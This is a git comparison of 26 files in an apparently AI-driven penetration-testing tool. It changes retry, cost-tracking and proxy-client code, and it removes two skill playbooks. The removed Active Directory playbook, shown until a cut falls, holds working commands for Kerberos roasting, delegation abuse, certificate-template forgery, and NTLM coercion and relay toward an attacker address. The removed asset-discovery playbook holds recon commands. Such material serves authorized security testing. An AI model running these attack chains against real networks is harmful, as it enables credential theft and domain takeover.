Compare commits

..
26 changed files with 468 additions and 1178 deletions
-8
View File
@@ -81,14 +81,6 @@ Protocol-specific testing techniques.
| --------- | ------------------------------------------------ |
| `graphql` | GraphQL introspection, batching, resolver issues |
### Reconnaissance
Passive discovery and attack-surface mapping techniques.
| Skill | Coverage |
| ----------------- | --------------------------------------------------------------- |
| `asset_discovery` | CT, TLS SAN pivoting, passive DNS, and ASN/IP asset enumeration |
### Tooling
Sandbox CLI playbooks for core recon and scanning tools.
-1
View File
@@ -434,7 +434,6 @@ SPECIALIZED TOOLS:
PROXY & INTERCEPTION:
- Caido CLI - Modern web proxy (already running). Use the proxy tools
directly, or import `caido_api` from sandbox Python scripts.
- HTTPQL filters (for `list_requests`): quote string values, leave integers unquoted (`resp.code.eq:200`, not `"200"`); combine terms with `AND`/`OR` (there is no `NOT` — use the negated operator `ne`/`ncont`/`nregex`). Numeric fields (`resp.code`, `req.port`) use `eq`/`ne`/`gt`/`gte`/`lt`/`lte`; text fields (`req.host`, `req.path`, `req.method`, `req.raw`) use `cont`/`ncont`/`eq`/`regex`. Example: `resp.code.gte:200 AND resp.code.lt:300 AND req.host.cont:"api"`.
- NOTE: If you are seeing proxy errors when sending requests, it usually means you are not sending requests to a correct url/host/port.
- Ignore Caido proxy-generated 50x HTML error pages; these are proxy issues (might happen when requesting a wrong host or SSL/TLS issues, etc).
-17
View File
@@ -10,7 +10,6 @@ from agents.models.multi_provider import MultiProvider
from agents.retry import (
ModelRetryBackoffSettings,
ModelRetrySettings,
RetryPolicyContext,
retry_policies,
)
@@ -21,21 +20,6 @@ if TYPE_CHECKING:
from strix.config.settings import Settings
def request_timeout_extra_args(timeout_s: float | None) -> dict[str, float] | None:
"""Per-request model timeout; a plain float so ``ModelSettings.to_json_dict()`` stays serializable.""" # noqa: E501
if not timeout_s or timeout_s <= 0:
return None
return {"timeout": timeout_s}
def _retry_statusless_provider_errors(context: RetryPolicyContext) -> bool:
"""Retry statusless provider errors (e.g. mid-stream quota/billing), but not aborts."""
normalized = context.normalized
if normalized.is_abort:
return False
return normalized.status_code is None
class StrixProvider(MultiProvider):
"""Route any non-OpenAI prefix through LiteLLM with the prefix preserved,
so users type ``deepseek/deepseek-chat`` rather than
@@ -72,7 +56,6 @@ DEFAULT_MODEL_RETRY = ModelRetrySettings(
retry_policies.provider_suggested(),
retry_policies.network_error(),
retry_policies.http_status((429, 500, 502, 503, 504)),
_retry_statusless_provider_errors,
),
)
+2 -1
View File
@@ -3,7 +3,6 @@
from __future__ import annotations
import logging
import math
from typing import TYPE_CHECKING, Any
from agents.lifecycle import RunHooks
@@ -28,6 +27,8 @@ class ReportUsageHooks(RunHooks[dict[str, Any]]):
"""Persist SDK-native usage after every model response."""
def __init__(self, *, model: str, max_budget_usd: float | None = None) -> None:
import math
if max_budget_usd is not None and (
not math.isfinite(max_budget_usd) or max_budget_usd <= 0
):
-3
View File
@@ -12,7 +12,6 @@ from strix.config.models import (
DEFAULT_MODEL_RETRY,
is_known_openai_bare_model,
model_supports_reasoning,
request_timeout_extra_args,
)
from strix.core.sessions import scrub_images_from_items
@@ -127,13 +126,11 @@ def make_model_settings(
*,
model_name: str,
force_required_tool_choice: bool = False,
request_timeout: float | None = None,
) -> ModelSettings:
model_settings = ModelSettings(
parallel_tool_calls=False,
retry=DEFAULT_MODEL_RETRY,
include_usage=True,
extra_args=request_timeout_extra_args(request_timeout),
)
if (
reasoning_effort is not None
+4 -1
View File
@@ -215,7 +215,6 @@ async def run_strix_scan(
settings.llm.reasoning_effort,
model_name=resolved_model,
force_required_tool_choice=settings.llm.force_required_tool_choice,
request_timeout=settings.llm.timeout,
)
run_config = RunConfig(
model=resolved_model,
@@ -283,6 +282,10 @@ async def run_strix_scan(
context: dict[str, Any] = {
"coordinator": coordinator,
"sandbox_session": bundle["session"],
# One ``SharedCaidoClient`` is reused by every agent in the scan
# (child contexts are shallow copies via ``dict(parent_ctx)``). It
# serializes access to the non-concurrency-safe GraphQL transport
# and rebuilds it if it dies mid-scan.
"caido_client": bundle["caido_client"],
"agent_id": root_id,
"parent_id": None,
+1 -6
View File
@@ -16,7 +16,6 @@ from strix.config.models import (
DEFAULT_MODEL_RETRY,
StrixProvider,
configure_sdk_model_defaults,
request_timeout_extra_args,
)
from strix.report.state import get_global_report_state
@@ -311,11 +310,7 @@ async def check_duplicate(
response = await model.get_response(
system_instructions=DEDUPE_SYSTEM_PROMPT,
input=user_msg,
model_settings=ModelSettings(
retry=DEFAULT_MODEL_RETRY,
include_usage=True,
extra_args=request_timeout_extra_args(settings.llm.timeout),
),
model_settings=ModelSettings(retry=DEFAULT_MODEL_RETRY, include_usage=True),
tools=[],
output_schema=None,
handoffs=[],
+10 -102
View File
@@ -534,10 +534,16 @@ def litellm_cost_callback(
cost = value
if cost is None:
cost = _usage_reported_cost(completion_response)
if cost is None:
cost = _estimate_response_cost(kwargs, completion_response)
usage: Any = getattr(completion_response, "usage", None)
if usage is None and isinstance(completion_response, dict):
usage = cast("dict[str, Any]", completion_response).get("usage")
usage_cost: Any
if isinstance(usage, dict):
usage_cost = cast("dict[str, Any]", usage).get("cost")
else:
usage_cost = getattr(usage, "cost", None)
if isinstance(usage_cost, int | float) and usage_cost > 0:
cost = float(usage_cost)
if cost is None or cost <= 0:
return
@@ -548,101 +554,3 @@ def litellm_cost_callback(
report_state.record_observed_llm_cost(cost)
except Exception:
logger.exception("Failed to record observed LiteLLM cost")
def _usage_reported_cost(completion_response: Any) -> float | None:
"""Provider-reported cost from the ``usage`` block (e.g. OpenRouter).
Non-BYOK responses charge everything to ``usage.cost``. BYOK responses
charge only the OpenRouter fee to ``usage.cost`` (often 0) and report the
provider charge in ``usage.cost_details.upstream_inference_cost``, so the
true BYOK total is the sum of the two.
"""
usage: Any = getattr(completion_response, "usage", None)
if usage is None and isinstance(completion_response, dict):
usage = cast("dict[str, Any]", completion_response).get("usage")
if usage is None:
return None
def _field(container: Any, name: str) -> Any:
if isinstance(container, dict):
return cast("dict[str, Any]", container).get(name)
return getattr(container, name, None)
total = 0.0
usage_cost = _field(usage, "cost")
if isinstance(usage_cost, int | float) and usage_cost > 0:
total += float(usage_cost)
if bool(_field(usage, "is_byok")):
upstream = _field(_field(usage, "cost_details"), "upstream_inference_cost")
if isinstance(upstream, int | float) and upstream > 0:
total += float(upstream)
return total if total > 0 else None
def _estimate_response_cost(kwargs: Any, completion_response: Any) -> float | None:
"""Best-effort LiteLLM cost-map estimate when no provider-reported cost exists.
LiteLLM strips provider cost fields when rebuilding streamed responses and
returns no ``response_cost`` for models missing from its cost map, so try
the provider-prefixed name, the raw name, and the bare model name.
"""
from litellm import completion_cost
model = kwargs.get("model") if isinstance(kwargs, dict) else None
if not isinstance(model, str) or not model:
if isinstance(completion_response, dict):
model = cast("dict[str, Any]", completion_response).get("model")
else:
model = getattr(completion_response, "model", None)
if not isinstance(model, str) or not model:
return None
provider = None
litellm_params = kwargs.get("litellm_params") if isinstance(kwargs, dict) else None
if isinstance(litellm_params, dict):
provider = litellm_params.get("custom_llm_provider")
usage_payload = _usage_payload(completion_response)
if usage_payload is None:
return None
candidates: list[str] = []
if isinstance(provider, str) and provider and not model.startswith(f"{provider}/"):
candidates.append(f"{provider}/{model}")
candidates.append(model)
if "/" in model:
candidates.append(model.rsplit("/", 1)[-1])
for candidate in candidates:
try:
value = completion_cost(
completion_response={"model": candidate, "usage": usage_payload},
model=candidate,
)
except Exception: # nosec B112 # noqa: BLE001, S112
continue
if isinstance(value, int | float) and value > 0:
return float(value)
return None
def _usage_payload(completion_response: Any) -> dict[str, Any] | None:
"""Token counts as a plain dict, detached from the response's provider metadata."""
usage: Any = getattr(completion_response, "usage", None)
if usage is None and isinstance(completion_response, dict):
usage = cast("dict[str, Any]", completion_response).get("usage")
if usage is None:
return None
if hasattr(usage, "model_dump"):
usage = usage.model_dump()
if not isinstance(usage, dict):
return None
payload = cast("dict[str, Any]", usage)
if not payload.get("total_tokens") and not (
payload.get("prompt_tokens") or payload.get("completion_tokens")
):
return None
return payload
+22 -6
View File
@@ -19,6 +19,8 @@ class LLMUsageLedger:
self._agent_usage: dict[str, Usage] = {}
self._agent_metadata: dict[str, dict[str, str]] = {}
self._total_cost = 0.0
self._observed_cost = 0.0
self._routed_estimated_cost = 0.0
def record(
self,
@@ -41,9 +43,14 @@ class LLMUsageLedger:
if model:
metadata["model"] = model
if not _is_litellm_routed(model):
estimated = _estimate_litellm_cost(usage, model)
if estimated:
estimated = _estimate_litellm_cost(usage, model)
if estimated:
if _is_litellm_routed(model):
# Fallback for routed models whose provider-reported cost never
# arrives (e.g. missing LiteLLM pricing map entry); only counted
# when no observed cost is recorded for the run.
self._routed_estimated_cost += estimated
else:
self._total_cost += estimated
return True
@@ -51,14 +58,21 @@ class LLMUsageLedger:
def record_observed_cost(self, cost: float) -> None:
if isinstance(cost, int | float) and cost > 0:
self._total_cost += float(cost)
self._observed_cost += float(cost)
def _effective_cost(self) -> float:
if self._observed_cost > 0:
return self._total_cost
return self._total_cost + self._routed_estimated_cost
@property
def total_cost(self) -> float:
return _round_cost(self._total_cost)
return _round_cost(self._effective_cost())
def to_record(self) -> dict[str, Any]:
record = serialize_usage(self._total_usage)
record["cost"] = _round_cost(self._total_cost)
effective_cost = self._effective_cost()
record["cost"] = _round_cost(effective_cost)
record["agents"] = []
agent_tokens = {aid: _resolve_total_tokens(u) for aid, u in self._agent_usage.items()}
@@ -67,7 +81,7 @@ class LLMUsageLedger:
usage = self._agent_usage[agent_id]
metadata = self._agent_metadata.get(agent_id, {})
agent_cost = (
self._total_cost * (agent_tokens[agent_id] / total_tokens) if total_tokens else 0.0
effective_cost * (agent_tokens[agent_id] / total_tokens) if total_tokens else 0.0
)
agent_record = serialize_usage(usage)
@@ -88,6 +102,8 @@ class LLMUsageLedger:
self._agent_usage.clear()
self._agent_metadata.clear()
self._total_cost = 0.0
self._observed_cost = 0.0
self._routed_estimated_cost = 0.0
if not isinstance(raw_usage, dict):
return
+4 -26
View File
@@ -6,7 +6,6 @@ import csv
import io
import json
import logging
import re
import tempfile
from datetime import UTC, datetime
from pathlib import Path
@@ -19,21 +18,6 @@ logger = logging.getLogger(__name__)
_SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
_BACKTICK_RUN = re.compile(r"`+")
def _safe_fence(content: str) -> str:
"""Return a backtick fence that ``content`` cannot break out of.
Per CommonMark a fenced code block is closed only by a run of backticks at
least as long as the opening fence. LLM-authored, attacker-influenced values
(PoC scripts, code snippets) may contain their own ``` runs, so we open with
a fence one backtick longer than the longest run inside ``content`` (never
fewer than three). Everything in ``content`` then renders verbatim.
"""
longest = max((len(m.group()) for m in _BACKTICK_RUN.finditer(content)), default=0)
return "`" * max(3, longest + 1)
def read_run_record(run_dir: Path) -> dict[str, Any]:
path = run_record_path(run_dir)
@@ -187,11 +171,9 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
lines.append(str(report["poc_description"]))
lines.append("")
if report.get("poc_script_code"):
code = str(report["poc_script_code"])
fence = _safe_fence(code)
lines.append(fence)
lines.append(code)
lines.append(fence)
lines.append("```")
lines.append(str(report["poc_script_code"]))
lines.append("```")
lines.append("")
if report.get("code_locations"):
@@ -208,11 +190,7 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
if loc.get("label"):
lines.append(f" {loc['label']}")
if loc.get("snippet"):
snippet = str(loc["snippet"])
fence = _safe_fence(snippet)
lines.append(f" {fence}")
lines.extend(f" {ln}" for ln in snippet.splitlines())
lines.append(f" {fence}")
lines.append(f" ```\n {loc['snippet']}\n ```")
if loc.get("fix_before") or loc.get("fix_after"):
lines.append("\n **Suggested Fix:**")
lines.append("```diff")
+51 -9
View File
@@ -80,30 +80,72 @@ async def _login_as_guest(
raise RuntimeError(f"loginAsGuest failed after {attempts} attempts: {last_err}")
async def bootstrap_caido(
async def _aclose_quietly(client: Client) -> None:
"""Best-effort close of a client whose setup failed; never raises."""
with contextlib.suppress(Exception):
await client.aclose()
async def _connect_client(
session: BaseSandboxSession,
*,
host_url: str,
container_url: str,
) -> Client:
"""Connect to the in-container Caido sidecar and select a fresh project."""
logger.info("Bootstrapping Caido client (host=%s, container=%s)", host_url, container_url)
access_token = await _login_as_guest(session, container_url=container_url)
client = Client(host_url, auth=TokenAuthOptions(token=access_token))
await client.connect()
return client
async def bootstrap_caido(
session: BaseSandboxSession,
*,
host_url: str,
container_url: str,
) -> tuple[Client, str]:
"""Connect to the in-container Caido sidecar and select a fresh project.
Returns the connected client and the id of the temporary project it
selected. The project id lets :func:`reconnect_caido` rebuild a dead
transport while staying on the *same* project (and its captured traffic)
instead of creating a new empty one.
"""
logger.info("Bootstrapping Caido client (host=%s, container=%s)", host_url, container_url)
client = await _connect_client(session, host_url=host_url, container_url=container_url)
try:
project = await client.project.create(
CreateProjectOptions(name="sandbox", temporary=True),
)
await client.project.select(project.id)
except BaseException:
# The connected client never reaches the session bundle if project
# setup fails, so close it here to avoid leaking the transport.
with contextlib.suppress(Exception):
await client.aclose()
# Don't leak the connected transport if project setup fails.
await _aclose_quietly(client)
raise
logger.info("Caido project selected: %s", project.id)
return client, str(project.id)
async def reconnect_caido(
session: BaseSandboxSession,
*,
host_url: str,
container_url: str,
project_id: str,
) -> Client:
"""Rebuild a Caido client after its transport died, keeping the project.
Re-authenticates, reconnects, and re-selects the existing project so the
caller keeps access to the traffic captured before the disconnect.
"""
logger.info("Reconnecting Caido client (host=%s, project=%s)", host_url, project_id)
client = await _connect_client(session, host_url=host_url, container_url=container_url)
try:
await client.project.select(project_id)
except BaseException:
# A missing/unavailable project must not leave the freshly-connected
# transport dangling — otherwise every retry leaks another one.
await _aclose_quietly(client)
raise
return client
+17 -4
View File
@@ -5,15 +5,20 @@ from __future__ import annotations
import logging
import shutil
from pathlib import Path
from typing import Any
from typing import TYPE_CHECKING, Any
from agents.sandbox.entries import BaseEntry, LocalDir
from agents.sandbox.manifest import Environment, Manifest
from strix.config import load_settings
from strix.runtime.backends import get_backend
from strix.runtime.caido_bootstrap import bootstrap_caido
from strix.runtime.caido_bootstrap import bootstrap_caido, reconnect_caido
from strix.runtime.local_dir_staging import stage_symlink_safe_dir
from strix.tools.proxy.caido_api import SharedCaidoClient
if TYPE_CHECKING:
from caido_sdk_client import Client as CaidoClient
logger = logging.getLogger(__name__)
@@ -131,16 +136,24 @@ async def create_or_reuse(
host_caido_url = f"{scheme}://{caido_endpoint.host}:{caido_endpoint.port}"
logger.debug("Caido host endpoint resolved: %s", host_caido_url)
caido_client = await bootstrap_caido(
caido_client, caido_project_id = await bootstrap_caido(
session,
host_url=host_caido_url,
container_url=container_caido_url,
)
async def _reconnect_caido() -> CaidoClient:
return await reconnect_caido(
session,
host_url=host_caido_url,
container_url=container_caido_url,
project_id=caido_project_id,
)
bundle = {
"client": client,
"session": session,
"caido_client": caido_client,
"caido_client": SharedCaidoClient(caido_client, _reconnect_caido),
}
_SESSION_CACHE[scan_id] = bundle
logger.info("Sandbox session for scan %s ready and cached", scan_id)
@@ -1,151 +0,0 @@
---
name: asset-discovery
description: Passive asset and attack-surface discovery via certificate transparency, TLS SAN pivoting, passive DNS, and ASN/IP enumeration to find hosts beyond subdomain brute force
---
# Asset Discovery
Most engagements start from a small seed (one domain, one org name) but the real attack surface is far larger: forgotten hosts, staging/internal-named services, acquisitions, and infrastructure that never appears in a wordlist. Build a broad, deduplicated inventory using passive intelligence — certificate transparency, TLS certificate metadata, passive DNS, and ASN/IP data — then collapse it into a probed, classified attack surface. The aim is coverage and pivoting: every certificate, DNS record, and IP is a lead to more assets.
Only use this skill when all subdomains and related assets of the target are in scope — broad discovery pulls in hosts far beyond the seed.
## Attack Surface
- Hosts discoverable via issued certificates (CT logs) but absent from DNS brute force
- Internal/staging/pre-prod hostnames leaked in certificate SAN lists
- Sibling and acquisition domains sharing certificates, ASNs, or IP ranges with the seed
- Wildcard and short-lived certs revealing naming conventions (`*.internal.example.com`, `k8s-*`, `argocd.*`)
- ASN-owned IP ranges hosting services with no DNS name at all
- Virtual hosts co-located on shared IPs (multiple apps behind one address)
- Non-HTTP services on discovered hosts (databases, brokers, admin ports)
## High-Value Sources
### Certificate Transparency (CT)
CT logs record nearly every publicly-trusted certificate. Query by domain (matches SAN/CN) and by organization name.
- **crt.sh** (free, no key):
- By domain incl. subdomains: `curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sed 's/^\*\.//' | sort -u`
- By organization: `https://crt.sh/?O=Example+Inc&output=json`
- **Censys / Shodan / Fofa** (API keys): search certs by `parsed.names`, `parsed.subject.organization`, or a specific `fingerprint_sha256`, then pivot to every host serving that cert.
- Cross-check multiple indexes (`certspotter`, Google CT, `chaos`) — no single log is complete.
- **Wildcards** (`*.corp.example.com`) reveal internal naming schemes even when individual hosts resolve privately; use them to seed targeted guesses (`grafana.corp`, `ci.corp`, `vault.corp`).
### TLS Certificate SAN/CN
- **SAN expansion**: one cert often lists many hostnames (marketing + api + admin + internal) — extract every SAN, not just the queried name.
- **Shared-cert pivot**: the same cert fingerprint served on multiple IPs ties disparate assets to one owner.
- **Issuer/org pivot**: certs sharing `subject.organization`/`organizationalUnit` frequently belong to the same target.
- **Active read** catches names never submitted to public CT: `echo | openssl s_client -connect HOST:443 -servername HOST 2>/dev/null | openssl x509 -noout -text | grep -A1 'Subject Alternative Name'`
- **Internal leak signal**: SANs like `localhost`, `*.internal`, `*.svc.cluster.local`, `*.local`, or RFC1918-style names on a public cert expose internal naming and sometimes internal services fronted publicly.
### Passive DNS
- Forward-resolve every name (A/AAAA/CNAME); keep CNAME chains — they reveal third-party providers and CDNs.
- **Reverse DNS (PTR)** on discovered IPs surfaces co-located hostnames.
- **Historical/passive DNS** (SecurityTrails, VirusTotal, `chaos`, passivedns providers) recovers names that no longer resolve but may still front live infra.
### ASN & IP Ranges
- Map a known IP to its ASN and netblock: `whois -h whois.cymru.com " -v <IP>"` or a BGP/ASN lookup.
- If the org runs its own ASN, enumerate all announced prefixes and treat them as candidate assets.
- For cloud-hosted targets the IP belongs to the provider, not the org — pivot via cert/vhost instead of netblock.
## Recommended Tooling
Prefer the projectdiscovery suite (already available in the sandbox and pipeline-friendly with JSON output):
- **`subfinder`** — passive subdomain aggregation across many sources incl. CT: `subfinder -d example.com -all -recursive -silent -oJ -o subs.jsonl`
- **`tlsx`** — TLS/cert data at scale; grab SANs and issuer/org to pivot: `tlsx -l hosts.txt -san -cn -tls-version -json -o tls.jsonl`
- **`uncover`** — query Shodan/Censys/Fofa/Quake/crt.sh engines from one CLI: `uncover -q 'ssl:"Example Inc"' -e shodan,censys,fofa -json`
- **`asnmap`** — org/domain/ASN → CIDR ranges: `asnmap -d example.com -json` / `asnmap -org "Example Inc"`
- **`mapcidr`** — expand/aggregate CIDRs into host lists for probing: `mapcidr -cidr 192.0.2.0/24 -o hosts.txt`
- **`dnsx`** — fast resolution, PTR, and wildcard filtering: `dnsx -l names.txt -a -aaaa -cname -ptr -resp -json -o dns.jsonl`
- **`httpx`** — live probing + cert grab in one pass (see methodology).
- **`naabu`** — port sweep for non-HTTP services: `naabu -list hosts.txt -top-ports 100 -verify -silent`
Also useful: **`amass`** (`amass intel`/`enum` for ASN, cert, and passive sources), **`cero`** (bulk SAN extraction from IPs/ranges), and direct **crt.sh** JSON queries when no keys are configured. Cross-source results — CT + passive DNS + `subfinder` together beat any single source.
## Key Techniques
### Iterative Seed Expansion
Every new name, PTR result, CNAME target, and cert SAN becomes a fresh seed. Loop CT → SAN extraction → passive DNS → ASN/range expansion until the asset set stops growing.
### Cert-Fingerprint Pivoting
Search Censys/Shodan (or `uncover`) by a cert's `fingerprint_sha256` to find every other host presenting the same certificate — the strongest cross-asset link for tying acquisitions and shadow infra to the target.
### Naming-Convention Inference
Wildcard SANs and observed hostnames expose the org's naming scheme; generate targeted candidates from it (`<service>.<env>.example.com`) rather than blind brute force.
### IP-First Discovery
For ASN-owned ranges, sweep IPs directly with `naabu`/`httpx` and read served certs (`tlsx`) to find services that have no DNS name at all.
## Advanced Techniques
- **Active SAN harvesting** across whole ranges with `tlsx`/`cero` recovers internal hostnames never logged to public CT.
- **Favicon and response hashing** (`httpx -favicon`, hash pivots in Shodan) clusters instances of the same app across unrelated hostnames.
- **Vhost differentials**: probe a single IP with multiple `Host:` values to unmask co-located apps behind one address.
- **Historical CT/DNS diffing** highlights recently issued certs and newly appearing hosts — high-signal for fresh or misconfigured deployments.
## Consolidation & Probing
1. **Dedupe** names and IPs into one inventory; record source(s) per asset for confidence.
2. **Live probe** with `httpx`, capturing status/title/tech/server and cert SANs in one pass — each grabbed SAN feeds back as a new seed:
`httpx -l hosts.txt -sc -title -server -td -tls-grab -json -o assets.jsonl`
3. **Classify** assets by function from title/tech/path signals: app, API, marketing, auth, CI/CD, observability, storage, admin, VCS, mail. Cluster by role, not by a specific product.
4. **Port sweep** interesting hosts with `naabu` for non-HTTP services (DBs, caches, brokers, mgmt ports).
5. **Prioritize** by exposure and value, then hand each finding to the right specialist skill:
- Exposed dashboards / debug / observability / metadata leaks → `information_disclosure`
- Login/admin panels with default or weak creds → `weak_password_detection`
- Dangling DNS / unclaimed provider resources → `subdomain_takeover`
- Cloud consoles/metadata surfaces → `aws` / `gcp` / `kubernetes`
## Testing Methodology
1. **Seed** - domains, org/legal names, known IPs, email domains, code-host org
2. **Certificate transparency** - pull all logged certs per seed domain and org name (crt.sh, `uncover`)
3. **SAN/CN extraction** - parse every Subject CN and SAN with `tlsx`; each new name is a new seed
4. **Passive DNS** - resolve forward and reverse with `dnsx`; harvest historical records
5. **ASN/IP mapping** - `asnmap``mapcidr` to expand owned ranges, then sweep for live hosts
6. **Active TLS pivot** - `tlsx`/`cero` on live IPs/ports to grab SANs missing from public CT
7. **Consolidate & probe** - dedupe, `httpx` probe, classify, and route to specialists
## Validation
1. Confirm each discovered asset actually resolves and serves content (live `httpx` result, not just a passive hit)
2. Attribute assets to the target via matching cert org, shared cert fingerprint, or DNS under a seed domain
3. Deduplicate vhost aliases and CDN edges down to distinct origins so the surface is not inflated
4. Record provenance (which source produced each asset) for reproducibility
## False Positives
- CDN/edge hostnames and provider default names that are not org-owned
- Shared-hosting neighbors on the same IP (vhost co-tenancy, not the target's asset)
- Stale historical DNS entries pointing at reassigned infrastructure
- Wildcard-cert-implied hostnames that never actually resolve or serve content
## Impact
- Expanded attack surface: forgotten, staging, and internal-named hosts brute force misses
- Discovery of misconfigured or unauthenticated services fronted by leaked internal hostnames
- Attribution of shadow infra, acquisitions, and sibling domains to the target
- A prioritized, classified inventory that feeds every downstream specialist skill
## Pro Tips
1. Loop the pipeline — every SAN, PTR, and CNAME target is a new seed until the set converges.
2. crt.sh is the cheapest high-yield source (no key); Censys/Shodan via `uncover` add cert-fingerprint and vhost pivoting when keys exist.
3. Always cert-grab live hosts with `tlsx` — active SANs catch internal hostnames never sent to public CT.
4. Internal-looking SANs (`*.internal`, `*.svc.cluster.local`, staging names) are the highest-signal leads.
5. Wildcard SANs reveal naming conventions — seed targeted guesses instead of blind brute force.
6. Cluster by function, not product name, so the workflow generalizes to any exposed service.
7. Keep JSON output throughout so stages chain cleanly (`subfinder``dnsx``httpx``naabu`).
## Summary
Broad passive discovery — CT + TLS SAN pivoting + passive DNS + ASN/IP mapping, looped until convergence — finds the assets brute force misses, especially internal-named and forgotten services leaked through certificates. Build the inventory with the projectdiscovery suite, probe and classify it generically, then route each interesting asset to the specialist skill for its class.
@@ -1,233 +0,0 @@
---
name: active_directory
description: Active Directory / Kerberos domain testing covering roasting, delegation abuse, AD CS (ESC1-ESC17), NTLM coercion+relay, DACL abuse, and credential dumping
---
# Active Directory
Active Directory compromise usually comes from misconfiguration, not memory-corruption bugs: a roastable service account, a delegation flag, a vulnerable certificate template, or an over-permissive ACL turns a single low-priv domain user into Domain Admin. Almost every step needs valid domain credentials (or a foothold to coerce them), and almost every path ends at DCSync or a forged ticket. Test the identity layer — Kerberos, LDAP, NTLM, SMB, AD CS — not the marketing website in front of it.
## Attack Surface
**Core services (per domain controller)**
- Kerberos (88/tcp+udp), LDAP/LDAPS (389/636), Global Catalog (3268/3269)
- SMB (445), RPC/DCE endpoint mapper (135) + high dynamic ports, NetBIOS (137-139)
- DNS (53) — AD-integrated, often allows dynamic updates (ADIDNS)
- WinRM (5985/5986), RDP (3389), MSSQL (1433) on member servers
- AD CS: Certificate Authority + web enrollment (`/certsrv`, `/ADPolicyProvider_CEP_*`, ES/CES)
**Principals & objects**
- Users, computers (`$` accounts), gMSA/sMSA, groups, GPOs, OUs, trusts
- `servicePrincipalName`, `userAccountControl` flags, `msDS-AllowedToDelegateTo`, `msDS-AllowedToActOnBehalfOfOtherIdentity`, `msDS-KeyCredentialLink`
- DACLs on objects (GenericAll/GenericWrite/WriteDacl/WriteOwner/AddSelf)
**Trust boundaries**
- Intra-forest (parent/child), inter-forest, external, SID history
- `MachineAccountQuota` (default 10 → any user can join computer accounts)
## Reconnaissance
**Anonymous / pre-auth (no creds)**
```
# Domain + naming context from LDAP rootDSE
nmap -Pn -p 389 --script ldap-rootdse <DC>
# SMB null session / signing / OS
nmap -Pn -p445 --script "smb-os-discovery,smb2-security-mode" <DC>
enum4linux-ng -A <DC>
# Username-less user enum via Kerberos pre-auth
kerbrute userenum -d <DOMAIN> --dc <DC> users.txt
```
**Authenticated enumeration (any valid user)**
```
nxc ldap <DC> -u <USER> -p <PASS> # confirm creds + domain info
nxc smb <SUBNET> -u <USER> -p <PASS> --shares # readable/writable shares
nxc ldap <DC> -u <USER> -p <PASS> --users --groups --pass-pol
ldapdomaindump ldap://<DC> -u '<DOMAIN>\<USER>' -p <PASS>
```
**BloodHound graph (the single most valuable step)**
```
bloodhound-ce-python -d <DOMAIN> -u <USER> -p <PASS> -c All -ns <DC_IP> --zip
# or, remote SharpHound-equivalent collector:
nxc ldap <DC> -u <USER> -p <PASS> --bloodhound --collection-method All --dns-server <DC_IP>
```
Import into BloodHound (CE) and run the built-in "Shortest paths to Domain Admins" / "Owned principals" queries before touching anything else.
## Key Vulnerabilities
### Kerberos Roasting
**Kerberoasting** — any authenticated user can request a service ticket (RC4/`$krb5tgs$23$`) for any account with an SPN and crack it offline. Human-set service-account passwords are the target; machine accounts are usually uncrackable.
```
nxc ldap <DC> -u <USER> -p <PASS> --kerberoasting kerb.txt
# or impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS> -outputfile kerb.txt
hashcat -m 13100 kerb.txt wordlist.txt
```
**AS-REP Roasting** — accounts with `DONT_REQ_PREAUTH` yield a crackable `$krb5asrep$23$` blob with *no* creds needed if the username is known.
```
GetNPUsers.py <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
hashcat -m 18200 asrep.txt wordlist.txt
```
**Targeted Kerberoasting** — with GenericAll/GenericWrite over a user, add an SPN, roast, then remove it.
### Delegation Abuse
- **Unconstrained** (`TRUSTED_FOR_DELEGATION`) — compromise the host, coerce a DC/DA to auth to it (PrinterBug/PetitPotam), capture their TGT from LSA, reuse it. Straight to DCSync.
- **Constrained** (`msDS-AllowedToDelegateTo`) — S4U2Self+S4U2Proxy to impersonate any user to the listed SPN; swap the SPN service class (`cifs`/`host`/`ldap`) for broader access.
- **RBCD** (`msDS-AllowedToActOnBehalfOfOtherIdentity`) — with write access over a computer object + `MachineAccountQuota>0`, create a fake computer, set RBCD, S4U to get an admin ticket for that host.
```
# RBCD chain
addcomputer.py -computer-name FAKE$ -computer-pass P@ss <DOMAIN>/<USER>:<PASS>
rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write <DOMAIN>/<USER>:<PASS>
getST.py -spn cifs/target.<DOMAIN> -impersonate Administrator <DOMAIN>/FAKE$:P@ss
```
### AD Certificate Services (ESC1-ESC17)
AD CS is the highest-yield modern path — one misconfigured template promotes a low-priv user to DA and survives password resets. Enumerate first, everything else follows:
```
certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC_IP> -vulnerable -stdout
```
- **ESC1** — template allows enrollee-supplied SAN + client-auth EKU → request a cert as `administrator`:
```
certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA> -template <T> -upn administrator@<DOMAIN>
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # → NT hash / TGT
```
- **ESC8** — NTLM relay to the CA web-enrollment endpoint (coerce a DC, relay to `/certsrv`) → DC certificate → DCSync.
- **ESC others** — ESC2/3 (any-purpose/enrollment-agent), ESC4 (writable template DACL → make it ESC1), ESC6 (`EDITF_ATTRIBUTESUBJECTALTNAME2` on the CA), ESC7 (CA officer rights), ESC9/10 (weak cert mapping), ESC11 (RPC relay), ESC13 (issuance-policy→group), ESC15 (app-policy on v1 templates). `certipy find -vulnerable` flags each.
### NTLM Coercion & Relay
Force a privileged machine to authenticate to you, then relay that NTLM auth to a service that doesn't enforce signing/EPA (LDAP, AD CS, SMB).
```
# 1. Start the relay (LDAP → RBCD, or AD CS → cert)
ntlmrelayx.py -t ldap://<DC> --delegate-access --no-dump
ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# 2. Coerce a target to authenticate
coercer coerce -u <USER> -p <PASS> -t <TARGET> -l <ATTACKER_IP>
PetitPotam.py -u <USER> -p <PASS> <ATTACKER_IP> <DC> # MS-EFSR
printerbug.py <DOMAIN>/<USER>:<PASS>@<TARGET> <ATTACKER_IP> # MS-RPRN
```
LLMNR/NBT-NS/mDNS poisoning with Responder captures NetNTLMv2 hashes on the broadcast segment for offline cracking or relay.
### DACL / Object Abuse
From BloodHound edges:
